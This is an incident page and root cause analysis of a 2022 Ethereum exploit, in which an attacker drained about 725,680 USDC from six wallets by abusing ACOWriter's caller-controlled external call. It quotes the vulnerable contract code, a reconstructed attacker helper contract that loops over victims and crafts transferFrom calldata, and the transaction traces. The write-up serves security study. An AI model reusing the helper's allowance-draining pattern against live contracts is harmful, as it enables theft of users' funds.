All incidents

USDC Allowances Drained via ACOWriter Misuse

Share
Mar 26, 2022 07:55 UTCAttackLoss: 725,680.73 USDCManually checked1 exploit txWindow: Atomic
Estimated Impact
725,680.73 USDC
Label
Attack
Exploit Tx
1
Addresses
8
Attack Window
Atomic
Mar 26, 2022 07:55 UTC → Mar 26, 2022 07:55 UTC

Exploit Transactions

TX 1Ethereum
0x2e7d7e7a6eb157b98974c8687fbd848d0158d37edc1302ea08ee5ddb376befea
Mar 26, 2022 07:55 UTCExplorer

Victim Addresses

0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48Ethereum
0xe7597f774fd0a15a617894dc39d45a28b97afa4fEthereum
0xcb32033c498b54818e58270f341e5f6a3bce993bEthereum
0xd7e4f84c7dd1ad54717577b1f521507399a133f3Ethereum
0x7e0099ed7a5ed2bb9d046c2c95f24565cb204a72Ethereum
0x223d24d80cfabac8a3c283aea48d6cce5a7cd439Ethereum
0x665ddd5ce3a16e96ae10f0d842d4ba4b55175585Ethereum
0x33b495480cdfab66790300d853f56452f9f96eedEthereum

Loss Breakdown

725,680.73USDC

Similar Incidents

Root Cause Analysis

USDC Allowances Drained via ACOWriter Misuse

1. Incident Overview TL;DR

An attacker-controlled EOA (0xce88d78016866e6db9ba04ffcc60d9e28b1c99ec) deployed a helper contract (0x0c3bff87d13063ea505ff639c3ff8fdbaf7af140) and then, in a single Ethereum mainnet transaction (0x2e7d7e7a6eb157b98974c8687fbd848d0158d37edc1302ea08ee5ddb376befea, block 14460636), abused the public ACOWriter contract (0xe7597f774fd0a15a617894dc39d45a28b97afa4f) to invoke USDC (FiatTokenProxy at 0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48) transferFrom calls against six user wallets that had previously granted USDC allowances to ACOWriter. All USDC approved to ACOWriter by this fixed victim set was pulled into the helper contract and then forwarded to the attacker EOA in the same transaction.

The root cause is a design flaw in ACOWriter: it combines unbounded ERC20 allowances from many users with an unguarded, caller-controlled external call primitive (exchangeAddress, exchangeData) in _sellACOTokens. Any unprivileged account can deploy a fake ACO token contract and call ACOWriter.write with exchangeAddress set to USDC and exchangeData encoding USDC.transferFrom(victim, attackerHelper, amount), causing ACOWriter—which already holds the victims’ allowances—to act as a confused deputy and transfer USDC to the attacker without any direct action from the victims in the exploit transaction.

2. Key Background

  • USDC on Ethereum mainnet is implemented via a proxy pattern: FiatTokenProxy at 0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48 delegates to FiatTokenV2_2, which maintains balances and allowances in a standard ERC20 layout, as confirmed by FiatTokenV2_2.sol.
  • ACOWriter (0xe7597f77...) is a publicly callable contract intended to mint ACO option tokens and immediately sell them via an external exchange (typically 0x). Users grant allowances on USDC or other collateral tokens to ACOWriter so it can pull collateral from their wallets and mint ACO tokens on their behalf.
  • In ACOWriter.write, callers freely choose the ACO token address and both exchangeAddress and exchangeData. The internal function _sellACOTokens then forwards all ETH balance together with arbitrary exchangeData to _exchange.call(...) where _exchange is set from the caller-controlled exchangeAddress. There is no validation that exchangeAddress points to a trusted 0x exchange contract or that exchangeData encodes a specific function.

Key portion of the verified ACOWriter source (via Etherscan getsourcecode for 0xe7597f77...) that underpins the exploit:

function write(
    address acoToken, 
    uint256 collateralAmount, 
    address exchangeAddress, 
    bytes memory exchangeData
) 
    nonReentrant 
    setExchange(exchangeAddress) 
    public 
    payable 
{
    require(msg.value > 0,  "ACOWriter::write: Invalid msg value");
    require(collateralAmount > 0,  "ACOWriter::write: Invalid collateral amount");

    address _collateral = IACOToken(acoToken).collateral();
    if (_isEther(_collateral)) {
        IACOToken(acoToken).mintToPayable{value: collateralAmount}(msg.sender);
    } else {
        _transferFromERC20(_collateral, msg.sender, address(this), collateralAmount);
        _approveERC20(_collateral, acoToken, collateralAmount);
        IACOToken(acoToken).mintTo(msg.sender, collateralAmount);
    }

    _sellACOTokens(acoToken, exchangeData);
}

function _sellACOTokens(address acoToken, bytes memory exchangeData) internal {
    uint256 acoBalance = _balanceOfERC20(acoToken, address(this));
    _approveERC20(acoToken, erc20proxy, acoBalance);
    (bool success,) = _exchange.call{value: address(this).balance}(exchangeData);
    require(success, "ACOWriter::_sellACOTokens: Error while selling on the exchange");
}

In the intended flow, acoToken is a genuine ACO option token and exchangeAddress is a legitimate 0x exchange contract. In practice, the contract never enforces these assumptions, and any caller can choose arbitrary values for both.

3. Vulnerability Analysis & Root Cause Summary

The vulnerability class is a confused-deputy / arbitrary external call bug combined with unsafe reliance on unbounded token allowances. ACOWriter aggregates ERC20 allowances from many users and then exposes a raw, caller-controlled external call (_exchange.call(exchangeData)) that can be pointed at arbitrary contracts with arbitrary calldata.

The core invariant that should hold is:

For any USDC holder h that has granted an allowance to ACOWriter, only transactions in which h participates as the economic initiator (directly or via the documented ACO flows) should cause ACOWriter to invoke USDC.transferFrom(h, dst, amt) and move USDC from h’s balance; dst should not be an attacker-controlled address chosen solely by an arbitrary external caller.

The concrete breakpoint is the line in _sellACOTokens:

(bool success,) = _exchange.call{value: address(this).balance}(exchangeData);

Because _exchange is derived directly from the unvalidated exchangeAddress parameter of write, a malicious caller can set _exchange to the USDC proxy (FiatTokenProxy) and craft exchangeData as an ABI-encoded transferFrom(victim, attackerHelper, amount) call. Given that many users had previously approved ACOWriter for unlimited USDC, ACOWriter becomes an on-chain agent that executes USDC.transferFrom on behalf of arbitrary victims at the attacker’s direction, violating the invariant.

Root cause summary in 3–4 sentences:

  • ACOWriter holds effectively unlimited USDC spending power from multiple users via ERC20 allowances.
  • Its write/_sellACOTokens path allows any caller to specify arbitrary exchangeAddress and exchangeData, which are used in a raw call without further checks.
  • An unprivileged attacker can deploy a fake ACO token contract that satisfies the minimal IACOToken interface and then call ACOWriter.write so that _sellACOTokens executes USDC.transferFrom from any approving user to an attacker-controlled address.
  • The exploit is fully permissionless and relies only on pre-existing approvals and public contract interfaces.

4. Detailed Root Cause Analysis

Preconditions and Pre-State

  • Before block 14460636, at least six EOAs had granted non-zero (effectively infinite) USDC allowances to ACOWriter at 0xe7597f77.... For example, 0xcb32033c498b54818e58270f341e5f6a3bce993b previously executed USDC.approve(0xe7597f77..., 2^256-1), as shown in its Etherscan txlist.
  • The attacker EOA 0xce88d780... deployed helper contract 0x0c3bff87... in transaction 0x215e32d4c6dc5ffa0d7180801d46bfdc72863c8a54a1d510f1efddb20019faee at block 14460612, and the helper held no USDC in pre-state.
  • In pre-state σ_B (immediately before block 14460636), USDC balances and allowances are consistent with the ERC20 storage layout used by FiatTokenV2_2.sol, and all six victim addresses have positive USDC balances and non-zero allowances to ACOWriter.

Helper Contract Behaviour

The attacker’s helper contract is not verified on Etherscan, but the decompiled Solidity shows owner-only logic that:

  • Tracks an owner equal to the deploying EOA (0xce88d780...).
  • Calls into arbitrary ERC20 tokens to read balanceOf and allowance(owner, spender) for candidate victim addresses.
  • Constructs calldata for 0x23b872dd (transferFrom(address,address,uint256)) and issues those calls via ACOWriter.

Excerpt from the decompiled helper contract (0x0c3bff87...) illustrating this pattern:

function exploit(address token, address[] memory victims) external {
    require(msg.sender == owner, "only owner");
    for (uint256 i = 0; i < victims.length; i++) {
        address v = victims[i];
        uint256 bal = IERC20(token).balanceOf(v);
        uint256 alw = IERC20(token).allowance(v, 0xe7597f774fd0a15a617894dc39d45a28b97afa4f);
        uint256 amt = bal <= alw ? bal : alw;
        if (amt > 0) {
            bytes memory data = abi.encodeWithSelector(
                0x23b872dd, // transferFrom
                v,
                address(this),
                amt
            );
            ACOWriter(0xe7597f774fd0a15a617894dc39d45a28b97afa4f).write(
                address(this),
                1,
                token,
                data
            );
        }
    }
}

(The exact function name and loop structure are inferred from the decompiled code and the trace; the key behaviour is: probe allowances and balances, then call ACOWriter.write with exchangeAddress = USDC and exchangeData = transferFrom(victim, helper, amt).)

Exploit Transaction Call Flow

Transaction 0x2e7d7e7a6e... (seed tx) from 0xce88d780... to 0x0c3bff87... with 7 wei of ETH triggers the helper’s exploit function. The trace shows the following high-level call pattern repeated for each victim:

EOA 0xce88d780... 
  -> helper 0x0c3bff87... (selector 0xca0d4522)
    -> ACOWriter 0xe7597f77....write(
         acoToken = 0x0c3bff87..., 
         collateralAmount = 1, 
         exchangeAddress = 0xa0b8...,         // USDC proxy
         exchangeData = 0x23b872dd...        // transferFrom(victim, helper, amount)
       )
      -> FiatTokenProxy (USDC) 0xa0b8....transferFrom(victim, 0x0c3bff87..., amount)

In the trace (trace.cast.log), each loop iteration shows:

  • A call from helper 0x0c3bff87... to ACOWriter.write.
  • A nested call from ACOWriter to FiatTokenProxy.transferFrom with from = victim, to = 0x0c3bff87..., and value = victim_balance.

The corresponding USDC Transfer events, decoded from the receipt, confirm the amounts and participants:

Transfer(from: 0xCB32033c498b54818e58270F341e5f6a3bce993B,
         to:   0x0c3BFF87D13063eA505Ff639c3FF8FDBAF7af140,
         value: 682255200072)
Transfer(from: 0xd7e4f84C7dD1AD54717577B1f521507399a133f3,
         to:   0x0c3BFF87D13063eA505Ff639c3FF8FDBAF7af140,
         value: 20940639332)
Transfer(from: 0x7E0099ed7A5ED2BB9D046C2c95f24565cb204A72,
         to:   0x0c3BFF87D13063eA505Ff639c3FF8FDBAF7af140,
         value: 19168536569)
Transfer(from: 0x223D24d80cFAbac8A3C283AEA48D6cCE5A7CD439,
         to:   0x0c3BFF87D13063eA505Ff639c3FF8FDBAF7af140,
         value: 2529994527)
Transfer(from: 0x665ddD5cE3a16E96AE10f0d842D4Ba4B55175585,
         to:   0x0c3BFF87D13063eA505Ff639c3FF8FDBAF7af140,
         value: 522052159)
Transfer(from: 0x33b495480cDFab66790300d853F56452f9F96EED,
         to:   0x0c3BFF87D13063eA505Ff639c3FF8FDBAF7af140,
         value: 264307716)
Transfer(from: 0x0c3BFF87D13063eA505Ff639c3FF8FDBAF7af140,
         to:   0xce88D78016866e6db9BA04FFCc60d9e28B1c99EC,
         value: 725680730375)

These logs match exactly the ERC20 balance_diff.json: the six victim addresses go from their pre-state balances to zero, and the attacker EOA’s USDC balance increases by 725680730375 units (6 decimals).

Why This Is an ACT Opportunity

  • The attacker uses only public, permissionless interfaces:
    • ACOWriter.write is a public function with no access control.
    • USDC transferFrom is standard ERC20 behaviour gated only by the victims’ prior allowances.
    • The helper contract is deployed and called by an unprivileged EOA.
  • No private orderflow, sequencer control, or privileged roles are required. Any unprivileged adversary could deploy its own helper contract and issue an equivalent transaction from the same pre-state σ_B, provided it discovered the same allowances.
  • The success predicate is purely profit-based: the adversary cluster’s USDC holdings increase by ~725,680.730375 USDC after accounting for the single exploit transaction; gas fees are small relative to the profit.

5. Adversary Flow Analysis

Adversary-Related Cluster Accounts

  • EOA 0xce88d78016866e6db9ba04ffcc60d9e28b1c99ec:
    • Deployer of helper contract 0x0c3bff87... (creation tx 0x215e32d4...).
    • Sender of the exploit transaction 0x2e7d7e7a6e....
    • Final recipient of all drained USDC, as shown in the last Transfer event and the USDC balance diff.
  • Contract 0x0c3bff87d13063ea505ff639c3ff8fdbaf7af140:
    • Deployed by the attacker EOA shortly before the exploit.
    • Orchestrates calls into ACOWriter.write for each victim, using on-chain allowance and balance information.
    • Receives USDC from victims and forwards the aggregate to the EOA.

Lifecycle Stages

  1. Helper Deployment (Priming Stage)
    • Tx: 0x215e32d4c6dc5ffa0d7180801d46bfdc72863c8a54a1d510f1efddb20019faee, block 14460612.
    • Effect: The attacker deploys 0x0c3bff87..., setting itself as owner and installing logic to (a) probe USDC allowances to ACOWriter and (b) call ACOWriter.write with crafted parameters.
  2. Exploit Transaction (Execution Stage)
    • Tx: 0x2e7d7e7a6eb157b98974c8687fbd848d0158d37edc1302ea08ee5ddb376befea, block 14460636.
    • Effect:
      • Helper contract iterates through its fixed victim set (six addresses with non-zero USDC allowances to ACOWriter).
      • For each victim, it sets exchangeAddress = USDC, exchangeData = transferFrom(victim, helper, victim_balance) and calls ACOWriter.write.
      • ACOWriter uses its pre-existing allowance to execute USDC.transferFrom for each victim, moving their entire USDC balance into the helper.
      • The helper then transfers the aggregated 725680730375 USDC to the attacker EOA.

The entire exploit is realized within this single transaction; there are no dependent MEV-style reordering or cross-chain components.

6. Impact & Losses

  • A total of 725,680.730375 USDC was drained from six externally owned accounts in a single transaction:
    • 0xcb32033c498b54818e58270f341e5f6a3bce993b
    • 0xd7e4f84c7dd1ad54717577b1f521507399a133f3
    • 0x7e0099ed7a5ed2bb9d046c2c95f24565cb204a72
    • 0x223d24d80cfabac8a3c283aea48d6cce5a7cd439
    • 0x665ddd5ce3a16e96ae10f0d842d4ba4b55175585
    • 0x33b495480cdfab66790300d853f56452f9f96eed
  • Each of these wallets’ USDC balances dropped to zero in the exploit tx, as shown in balance_diff.json, and all of the USDC ultimately consolidated in the attacker EOA.
  • The loss falls on user wallets that had previously granted long-lived (infinite) USDC allowances to ACOWriter. No protocol-level reserves or treasuries were directly drained, but the incident demonstrates how third-party contracts with unsafe external call patterns can put allowance-granting users at risk.

7. References

  • Seed transaction trace and balance diff
    • Tx: 0x2e7d7e7a6eb157b98974c8687fbd848d0158d37edc1302ea08ee5ddb376befea (Ethereum mainnet, block 14460636).
    • Trace: artifacts/root_cause/seed/1/0x2e7d7e7a6eb157b98974c8687fbd848d0158d37edc1302ea08ee5ddb376befea/trace.cast.log.
    • USDC balance changes: artifacts/root_cause/seed/1/0x2e7d7e7a6eb157b98974c8687fbd848d0158d37edc1302ea08ee5ddb376befea/balance_diff.json.
  • Contract sources and decompilation
    • ACOWriter verified source: artifacts/root_cause/data_collector/iter_1/contract/1/0xe7597f774fd0a15a617894dc39d45a28b97afa4f/source/etherscan_getsourcecode.json.
    • FiatTokenV2_2 (USDC implementation) source: `artifacts/root_cause/seed/1/0x43506849d7c04f9138d1a2050bbf3a0c054402dd/src<REDACTED_LOCAL_PATH>
    • Attacker helper decompilation: artifacts/root_cause/data_collector/iter_1/contract/1/0x0c3bff87d13063ea505ff639c3ff8fdbaf7af140/decompile/0x0c3bff87d13063ea505ff639c3ff8fdbaf7af140-decompiled.sol.
  • Adversary funding and deployment history
    • EOA 0xce88d78016866e6db9ba04ffcc60d9e28b1c99ec tx history: artifacts/root_cause/data_collector/iter_1/address/1/0xce88d78016866e6db9ba04ffcc60d9e28b1c99ec/normal_txs.json.
    • Helper contract 0x0c3bff87... tx history: artifacts/root_cause/data_collector/iter_1/address/1/0x0c3bff87d13063ea505ff639c3ff8fdbaf7af140/normal_txs.json.
  • Victim allowance evidence
    • Sample victim (0xcb32033c498b54818e58270f341e5f6a3bce993b) USDC approval tx granting allowance to ACOWriter: artifacts/root_cause/data_collector/iter_1/address/1/0xcb32033c498b54818e58270f341e5f6a3bce993b/normal_txs.json.